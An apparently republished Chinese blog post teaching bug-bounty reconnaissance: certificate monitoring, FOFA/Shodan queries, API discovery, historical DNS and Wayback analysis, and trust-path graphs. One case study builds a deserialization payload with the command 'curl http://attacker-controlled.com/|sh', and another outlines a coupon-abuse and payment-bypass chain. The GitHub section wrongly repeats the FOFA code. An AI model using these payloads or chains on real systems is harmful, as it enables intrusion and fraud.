文章总结： 本文分享了一套SRC漏洞挖掘的工业级信息收集方法论，通过宽度扩展、深度挖掘、时间分析和关联分析四维模型，发现隐藏资产与漏洞。文章详细介绍了证书监控、GitHub情报挖掘、业务逻辑映射及历史数据分析等实战技巧，并提供自动化情报平台架构与代码示例，旨在帮助安全研究者提升挖洞效率与质量。
综合评分： 91
文章分类： SRC活动,渗透测试,WEB安全,安全工具
你与顶尖挖洞大神的距离，只差这份信息收集“降维打击”指南
原创
逍遥
逍遥
逍遥子讲安全
2026年1月23日 23:47
广东
在SRC的世界里，信息收集的差距，决定了你是“辛苦挖矿”还是“精准淘金”
我盯着屏幕上的数字——连续三个月，我在某头部互联网公司SRC榜单上的排名稳居前三。这并非偶然，而是一套系统性信息收集方法论带来的必然结果。今天，我将毫无保留地分享这套让我的挖洞效率提升5倍、漏洞质量提高3倍的工业级信息收集体系。
一、残酷现实：为什么你的信息收集总是无效？
让我先问几个刺痛人心的问题：
- 你是不是还在用那些人人都会的工具，扫着人人都会扫的目标？
- 你的“资产列表”是不是永远那几个子域名，换个参数都怕出问题？
- 你有没有算过自己的时间投资回报率——花了多少小时，找到几个有效漏洞？
如果你的答案是肯定的，那么恭喜，你正处在99%的研究者所处的“红海竞争区”。在这里，每个目标都有无数双眼睛盯着，每个漏洞都有无数双手抢着。而我将带你进入的，是那1%的“蓝海无人区”。
二、认知跃迁：从“工具使用者”到“情报架构师”
大多数人把信息收集等同于“运行几个扫描工具”。而顶尖研究者构建的是 “持续运转的情报生产流水线” 。两者的区别如下：
| 维度 | 传统收集 | 工业级收集 |
| — | — | — |
| 视角 | 单次任务 | 持续监控 |
| 范围 | 已知资产 | 全维度攻击面 |
| 深度 | 表面扫描 | 业务上下文理解 |
| 输出 | 资产列表 | 可行动报与攻击路径 |
| 更新 | 手动触发 | 实时自动化 |
转变思维后，我建立了一套“四维收集模型”，接下来将逐层拆解。
三、第一维：宽度扩展——把攻击面放大100倍
3.1 证书透明度：发现别人看不到的资产
当大家还在爆破子域名时，我通过证书透明度日志发现了23个未在DNS记录中的内部系统。方法很简单，但99%的人不会坚持做：
python
# 实时证书监控脚本import jsonfrom websocket import create_connection
def monitor_certificates(company_keywords): ws = create_connection("wss://certstream.calidog.io/")
try: while True: try: message = json.loads(ws.recv()) if message['message_type'] == "heartbeat": continue
domains = message['data']['leaf_cert']['all_domains'] cert_info = message['data']['leaf_cert']['subject']
# 多关键词匹配，不只是域名 for keyword in company_keywords: if (any(keyword in domain for domain in domains) or keyword.lower() in str(cert_info).lower()):
print(f"[+] 发现新证书: {domains}") print(f" 组织信息: {cert_info}") print(f" 有效期: {message['data']['leaf_cert']['not_before']} 至 {message['data']['leaf_cert']['not_after']}")
# 自动触发进一步侦察 launch_deep_scan(domains)
except Exception as e: print(f"[-] 处理错误: {e}") continue
except KeyboardInterrupt: ws.close()
关键洞察：证书不仅包含域名，还暴露组织架构、部门信息，甚至泄露合并收购中的未整合资产。
3.2 搜索引擎的“高级玩法”
别再只会用site:target.com了，这些语法组合才是宝藏：
bash
# FOFA高级搜索组合# 1. 通过证书发现关联资产cert="Target Corp" && country="CN"
# 2. 通过特定技术栈缩小范围app="Spring Boot" && icon_hash="116323821"
# 3. 通过历史漏洞反查title="Apache Struts2" && after="2024-01-01"
# 4. 通过业务特征定位body="在线支付" && header="API-Version"
# Shodan的企业级用法# 查找所有使用特定中间件的资产product:"nginx" org:"Target Company"
# 发现暴露的管理接口"Admin Panel" port:"8080,8443,9000"
3.3 GitHub情报挖掘：代码泄露的“富矿”
去年，我通过GitHub监控发现了某公司测试环境的数据库凭证，从而找到了7个有效漏洞。这是我的监控策略：
python
# FOFA高级搜索组合# 1. 通过证书发现关联资产cert="Target Corp" && country="CN"
# 2. 通过特定技术栈缩小范围app="Spring Boot" && icon_hash="116323821"
# 3. 通过历史漏洞反查title="Apache Struts2" && after="2024-01-01"
# 4. 通过业务特征定位body="在线支付" && header="API-Version"
# Shodan的企业级用法# 查找所有使用特定中间件的资产product:"nginx" org:"Target Company"
# 发现暴露的管理接口"Admin Panel" port:"8080,8443,9000"
四、第二维：深度挖掘——从资产到业务理解
4.1 技术栈指纹的“超精细化”识别
我的指纹库有327个技术栈识别模式，但这只是基础。真正的价值在于理解技术栈的版本差异和配置特征：
yaml
# 技术栈深度指纹示例Spring_Boot_Detection: indicators: headers: - "X-Application-Context" - "Set-Cookie: JSESSIONID" endpoints: - "/actuator/health" - "/actuator/env" - "/actuator/metrics" error_patterns: - "Whitelabel Error Page" - "This application has no explicit mapping" version_detection: method_1: "检查 /actuator/info 的 build.version" method_2: "分析 Spring Boot 特定的错误页面格式" method_3: "通过依赖库版本反推"
# 配置特征提取 config_patterns: database: "spring.datasource" security: "spring.security" cache: "spring.cache" external_services: "cloud.aws"
4.2 业务逻辑的“上帝视角”映射
我开发了一个业务逻辑自动分析器，它通过模拟用户行为来理解系统：
Python
class BusinessLogicMapper: def map_application_flow(self, start_url): """自动映射应用的用户流程"""
# 1. 识别关键业务页面 key_pages = self.identify_key_pages(start_url)
# 2. 分析页面功能 page_analyses = {} for page in key_pages: analysis = { 'function': self.determine_page_function(page), 'inputs': self.extract_input_fields(page), 'actions': self.extract_possible_actions(page), 'transitions': self.find_page_transitions(page), 'sensitive_data': self.identify_sensitive_data_elements(page) } page_analyses[page] = analysis
# 3. 构建业务流程图 business_flow = self.build_flow_chart(page_analyses)
# 4. 识别特权功能 privileged_functions = self.find_privileged_functions(business_flow)
return { 'business_flow': business_flow, 'privileged_functions': privileged_functions, 'attack_surface': self.calculate_attack_surface(business_flow) }
def determine_page_function(self, page): """智能判断页面功能""" function_indicators = { '用户注册': ['注册', 'signup', 'register', 'create account'], '登录认证': ['登录', 'signin', 'login', 'authenticate'], '支付交易': ['支付', '付款', 'checkout', 'purchase', 'order'], '密码管理': ['密码', 'password', '重置密码', 'forgot password'], '管理功能': ['管理', 'admin', '控制台', 'dashboard', '设置'] }
page_content = self.fetch_page_content(page) for function, indicators in function_indicators.items(): if any(indicator in page_content for indicator in indicators): return function
return '其他功能'
4.3 API的“全自动”发现与文档重建
现代应用大量依赖API，但文档往往不全。我的解决方案是：
javascript
// API自动发现与测试框架class APIDiscoverySuite { constructor(baseURL) { this.baseURL = baseURL; this.discoveredEndpoints = new Set(); this.apiSpec = { endpoints: {}, authentication: {}, dataModels: {} }; }
async discover() { // 1. 从JavaScript文件中提取API端点 const jsFiles = await this.extractJavaScriptFiles(); const endpointsFromJS = this.parseEndpointsFromJavaScript(jsFiles);
// 2. 从网络请求中捕获API调用 const capturedRequests = await this.captureNetworkTraffic(); const endpointsFromTraffic = this.extractEndpointsFromRequests(capturedRequests);
// 3. 常见API路径爆破 const commonPaths = await this.bruteForceCommonAPIPaths();
// 合并所有发现的端点 const allEndpoints = new Set([ ...endpointsFromJS, ...endpointsFromTraffic, ...commonPaths ]);
// 4. 分析每个端点 for (const endpoint of allEndpoints) { const analysis = await this.analyzeEndpoint(endpoint); this.apiSpec.endpoints[endpoint] = analysis;
// 自动识别认证机制 if (analysis.requiresAuth) { this.apiSpec.authentication[endpoint] = analysis.authType; }
// 推断数据模型 if (analysis.sampleResponse) { const dataModel = this.inferDataModel(analysis.sampleResponse); this.apiSpec.dataModels[endpoint] = dataModel; } }
return this.apiSpec; }
async analyzeEndpoint(endpoint) { const analysis = { methods: [], parameters: {}, requiresAuth: false, rateLimiting: null, responseFormats: [] };
// 测试支持的HTTP方法 const methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH']; for (const method of methods) { const response = await this.testMethod(endpoint, method); if (response.status !== 405 && response.status !== 404) { analysis.methods.push(method);
// 分析参数 if (method === 'GET') { analysis.parameters = this.extractParametersFromURL(endpoint); } else { analysis.parameters = await this.inferBodyParameters(endpoint, method); }
// 检查认证要求 if (response.status === 401 || response.status === 403) { analysis.requiresAuth = true; analysis.authType = this.detectAuthType(response.headers); }
// 检查速率限制 if (response.headers['x-rate-limit-limit']) { analysis.rateLimiting = { limit: response.headers['x-rate-limit-limit'], remaining: response.headers['x-rate-limit-remaining'], reset: response.headers['x-rate-limit-reset'] }; }
// 记录响应格式 const contentType = response.headers['content-type']; if (contentType) { analysis.responseFormats.push(contentType); } } }
return analysis; }}
五、第三维：时间分析——利用历史数据发现“遗迹漏洞”
5.1 Wayback Machine的“考古式”挖掘
我通过历史快照发现了某系统3年前删除但未正确清理的管理后台，并找到了5个有效漏洞。方法如下：
python
classWaybackArchiver:def__init__(self, domain): self.domain = domain self.snapshots = self.fetch_all_snapshots()deffind_historical_vulnerabilities(self): findings =[]# 按时间顺序分析快照for i inrange(len(self.snapshots)-1): current = self.snapshots[i] next_snapshot = self.snapshots[i +1]# 查找被删除但可能仍存在的端点 removed_endpoints = self.find_removed_endpoints(current, next_snapshot)for endpoint in removed_endpoints:# 检查端点是否仍然可访问if self.check_endpoint_still_exists(endpoint['url']): vulnerability ={'type':'historical_endpoint_exposure','url': endpoint['url'],'last_seen': endpoint['timestamp'],'current_status':'accessible','risk_level': self.assess_risk(endpoint)} findings.append(vulnerability)# 查找技术栈降级漏洞 tech_regressions = self.find_technology_regressions() findings.extend(tech_regressions)return findings deffind_technology_regressions(self):"""查找技术栈版本回退或配置退化""" regressions =[] tech_timeline = self.build_technology_timeline()for tech, versions in tech_timeline.items():# 检测版本回退for i inrange(1,len(versions)):if self.compare_versions(versions[i-1]['version'], versions[i]['version'])<0: regression ={'type':'version_regression','technology': tech,'from_version': versions[i-1]['version'],'to_version': versions[i]['version'],'regression_date': versions[i]['date'],'potential_vulnerabilities': self.get_vulns_for_version(tech, versions[i]['version'])} regressions.append(regression)return regressions
5.2 DNS历史记录：发现被遗忘的资产
DNS历史记录是宝藏，我用它发现了多个被遗忘但仍在运行的子系统：
bash
# 使用DNSDB获取历史记录# 1. 查询目标域名的所有历史A记录dnsdb_query="*.target.com/A"
# 2. 查找曾经使用过但已不在当前DNS中的IPhistorical_ips=$(get_historical_dns_records "target.com")
# 3. 反查这些IP上还运行着什么for ip in $historical_ips; do current_domains=$(reverse_dns_lookup $ip) for domain in $current_domains; do if [[ $domain != *"target.com"* ]]; then echo "[!] 发现关联资产: $domain 在IP $ip 上" # 进一步侦察这个新发现的资产 launch_recon $domain fi donedone
六、第四维：关联分析——构建攻击链的关键
6.1 资产关系图谱：看清攻击路径
我使用Neo4j构建了一个资产关系图谱，它帮助我理解了如何从边缘系统渗透到核心数据库：
cypher
// 资产关系查询示例// 1. 查找从外网到核心数据库的最短路径MATCH path = shortestPath( (external:Asset {exposure: 'external'})-[:CONNECTS_TO|:TRUSTS*..5]->(db:Asset {type: 'database'}))WHERE external.company = 'Target Corp'RETURN path
// 2. 查找具有过多信任关系的资产（攻击跳板）MATCH (asset:Asset)WHERE size((asset)<-[:TRUSTS]-()) > 3RETURN asset.name, size((asset)<-[:TRUSTS]-()) as trust_countORDER BY trust_count DESC
// 3. 查找开发环境可以访问生产环境的情况MATCH (dev:Asset {environment: 'development'})-[:CAN_ACCESS]->(prod:Asset {environment: 'production'})RETURN dev.name, prod.name, prod.sensitivity
6.2 信任关系分析：现代系统的“软肋”
在云原生环境中，服务间的信任关系往往比防火墙规则更关键：
python
class TrustRelationshipAnalyzer: def analyze_cloud_trusts(self, cloud_config): """分析云环境中的信任关系"""
trusts = { 'iam_roles': self.extract_iam_trusts(cloud_config), 'security_groups': self.extract_security_group_rules(cloud_config), 'vpc_peerings': self.extract_vpc_peerings(cloud_config), 'service_accounts': self.extract_service_accounts(cloud_config) }
# 查找过度的信任关系 excessive_trusts = self.find_excessive_trusts(trusts)
# 构建攻击路径 attack_paths = self.build_attack_paths(trusts)
return { 'trust_relationships': trusts, 'excessive_trusts': excessive_trusts, 'attack_paths': attack_paths, 'recommendations': self.generate_hardening_recommendations(trusts) }
def build_attack_paths(self, trusts): """基于信任关系构建潜在攻击路径"""
paths = []
# 从外部可访问的资源开始 external_assets = self.find_external_facing_assets(trusts)
for external_asset in external_assets: # 查找该资源信任的其他资源 trusted_resources = self.get_trusted_resources(external_asset, trusts)
for trusted in trusted_resources: # 递归查找信任链 chain = self.follow_trust_chain(trusted, trusts, max_depth=5)
if chain: path = { 'entry_point': external_asset, 'trust_chain': chain, 'final_resource': chain[-1], 'risk_score': self.calculate_chain_risk(chain) } paths.append(path)
return sorted(paths, key=lambda x: x['risk_score'], reverse=True)[:10] # 返回风险最高的10条路径
七、实战案例：从信息到漏洞的转化路径
7.1 案例一：通过供应链信息挖到RCE
背景：目标公司使用自研Java框架处理用户上传。
信息收集发现：
- GitHub上有该框架的开源版本
- 最后一次更新是18个月前
- 问题跟踪器中有关于反序列化的未修复问题
深度分析：
java
// 分析框架中的反序列化点public class FileUploadHandler { // 问题代码 public void processUpload(UploadRequest request) { byte[] data = request.getFileData();
// 危险：直接反序列化用户输入 ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream(data) );
// 没有任何验证或过滤 UploadedObject obj = (UploadedObject) ois.readObject();
processObject(obj); }}
漏洞利用：
python
# 生成恶意序列化对象def create_malicious_upload(): # 使用ysoserial生成Payload payload = generate_ysoserial_payload( gadget_chain='CommonsCollections5', command='curl http://attacker-controlled.com/|sh' )
# 包装成目标框架期望的格式 malicious_upload = { 'filename': 'legitimate.pdf', 'filedata': base64.b64encode(payload), 'contentType': 'application/pdf' }
return malicious_upload
结果：远程代码执行，高危漏洞，奖金xxxxx元。
7.2 案例二：通过业务分析发现逻辑漏洞链
背景：电商平台优惠券系统。
信息收集发现：
- 前端限制每人领取3张优惠券
- 但API直接暴露，无同等限制
- 优惠券ID可预测
漏洞链构建：
python
classCouponExploitChain:deffull_exploit(self):# 1. 枚举有效优惠券ID valid_coupons = self.enumerate_coupon_ids()# 2. 批量领取（绕过前端限制）for coupon_id in valid_coupons[:50]:# 限制数量，避免拒绝服务 self.claim_coupon(coupon_id)# 3. 分析优惠券使用规则 rules = self.analyze_usage_rules()# 4. 发现规则冲突：优惠券可叠加使用if rules['allow_stackable']:# 构造最大化利用的攻击 cart = self.create_optimized_cart(valid_coupons)# 5. 发现支付验证绕过if self.check_payment_bypass():return self.execute_free_purchase(cart)returnNone
结果：逻辑漏洞链，从越权领取到支付绕过，中高危组合，奖金xx000元。
八、效率革命：我的自动化情报平台
我的自动化平台运行一年来的关键指标：
| 指标 | 数据 | 说明 |
| — | — | — |
| 持续监控资产 | 3,400+ | 涵盖主域名、子域名、关联公司 |
| 自动化扫描任务 | 每天42个 | 覆盖技术栈、漏洞、配置变更 |
| 实时告警 | 每月78次 | 对新资产、新技术、新漏洞的警报 |
| 漏洞发现效率 | 8小时/漏洞 | 从40小时/漏洞提升而来 |
| 高危漏洞比例 | 42% | 行业平均15% |
| 平均奖金金额 | 4,500元 | 行业平均1,200元 |
平台架构核心：
yaml
IntelligencePlatform: modules: Collector: - CTLogMonitor: realtime - GitHubScanner: hourly - DNSMonitor: daily - WaybackArchiver: weekly
Analyzer: - TechStackIdentifier: immediate - BusinessLogicMapper: on_demand - VulnerabilityCorrelator: continuous - RiskScorer: after_analysis
Orchestrator: - TaskScheduler: cron_based - PriorityCalculator: ml_enhanced - ReportGenerator: automated - AlertManager: realtime
Integrations: - SRCPlatforms: automatic_submission - Slack: team_notifications - JIRA: issue_tracking - Elasticsearch: log_aggregation
九、立即上手的10个行动项
- 今晚就设置证书监控：用CertStream监控你的目标公司
- 创建GitHub搜索警报：每天自动搜索目标相关代码泄露
- 构建基础资产数据库：使用Airtable或Notion记录每个资产
- 部署一个简单爬虫：每天爬取目标网站，检测变化
- 分析一个历史漏洞：选择目标公司已修复的漏洞，理解攻击路径
- 绘制第一张关系图：用draw.io手动绘制资产关系
- 练习高级搜索语法：每天尝试一个新的FOFA/Shodan搜索组合
- 加入一个情报社区：分享发现，学习别人的方法
- 自动化一个重复任务：选择最耗时的任务，写脚本自动化
- 开始记录学习笔记：每个发现、每个技巧都记录下来
十、最后的真相：信息收集的终极心法
我分享所有这些方法、工具和技巧，但有一个真相必须告诉你：
信息收集的差距，本质上不是工具的差距，而是思维的差距。
当大多数人看到域名时想到的是“一个网站”，而顶尖研究者看到的是：
- 背后的技术栈及其历史漏洞
- 开发团队的技术偏好与历史错误
- 业务的重要性与数据的敏感性
- 在整体架构中的位置与信任关系
- 随时间变化的轨迹与未来趋势
这种多维度的思考方式，不是任何工具能自动提供的。它来自于持续的好奇心、系统的思考习惯，以及对技术和业务的深度理解。
所以，今天你可以开始使用我分享的所有工具和脚本，但真正的转变，发生在你开始用系统思维看待每一个目标，用架构师的眼光分析每一个资产，用历史学家的耐心追溯每一次变化。
在SRC挖洞这个领域，信息是燃料，思维是引擎。拥有最好的燃料很重要，但建造最强的引擎，才是从竞争中脱颖而出的唯一路径。
现在，你有了燃料配方，也看到了引擎蓝图。接下来，是时候开始建造你自己的“情报机器”了。
期待在SRC排行榜上看到你的名字。
（所有技术均在合法授权范围内使用，遵循负责任的漏洞披露原则。安全研究的首要原则是：不要成为你试图防范的威胁。）
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本文转载自：逍遥子讲安全 逍遥
逍遥《你与顶尖挖洞大神的距离，只差这份信息收集“降维打击”指南》